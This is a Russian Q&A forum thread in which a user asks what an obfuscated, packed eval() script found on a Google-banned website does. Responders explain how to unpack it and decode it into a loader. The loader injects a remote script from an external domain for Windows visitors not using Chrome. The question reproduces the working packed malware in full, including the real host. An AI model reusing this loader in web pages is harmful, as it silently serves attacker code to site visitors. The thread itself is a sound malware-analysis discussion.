JS: как узнать, что делает скрипт?

У товарища гугл забанил сайт. "По-ковырявшись" в коде - нашел вот такую интересную штуковину:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 p(f){7(f).o("").n().r("")}5 b(d){k(3.j&&3.a){2 8=3["a"](\'s\')[0];2 4=3.j(\'t\');4.g(\'m\',"l/q");4.g(\'A\',d);8["C"](4)}}2 c="D://u.E.F/B";2 e="w";2 6=v["x"]["y"]();5 9(){7 6["h"](e)!=-1}5 i(){7 6.h("z")==-1}k(i()&&9()){b(c)}',42,42,'||var|document|LZPSuzPGC|function|yACuZHjno|return|FQHCbgdg|uAMZBLh|getElementsByTagName|RrbXOL|vCJjxqip|geTz|DJHsx|dWgefZ|setAttribute|indexOf|TtuslyHhrzJt|createElement|if|text|type|reverse|split|KIhovw|javascript|join|head|script|abroog|navigator|win|userAgent|toLowerCase|chrome|src|5bb28a2cf2cde8880e6b15e6b87806dfe57ed450a6136c13a36c70094f353f1575f8b73443bb477effc51ef5f2330eaccecfb210638cddff743f04a22061a5d9695b9203835120a01ef6322377edbe22da8038d5fb629cce2f1c26252dfa3b035a7a45e2|appendChild|http|pp|ua'.split('|'),0,{}))


Я вижу что идет преобразования, но не совсем знаком с синтаксисом. Можете подсказать, результат выполнения данного скрипта.
Если есть он-лайн сервис, скиньте ссылку.
Спасибо.
  • Вопрос задан
  • 5398 просмотров
Пригласить эксперта
Ответы на вопрос 2
arutyunov
@arutyunov
Mooza.ru — Делаем сайты
Вместо eval пропиши alert или console.log()
В результате получишь код, который преобразован в абракадабру
Ответ написан
Комментировать
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
function strReverse(str){
    return (str).split("").reverse().join("");
}

function addScript(src){
    if(document.createElement && document.getElementsByTagName) {
        var head = document["getElementsByTagName"]('head')[0];
        var script = document.createElement('script');
        script.setAttribute('type',"text/javascript");
        script.setAttribute('src', src);
        head["appendChild"](script)
    }
}

var scriptSrc = "http://здесь адрес зловреда";

var winStr = "win";

var userAgent = navigator["userAgent"]["toLowerCase"]();

function isWindows() {
    return userAgent["indexOf"](winStr) != -1;
}

function isNotChrome() {
    return userAgent.indexOf("chrome") == -1;
}

if(isWindows() && isNotChrome()) {
    addScript(scriptSrc);
}
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы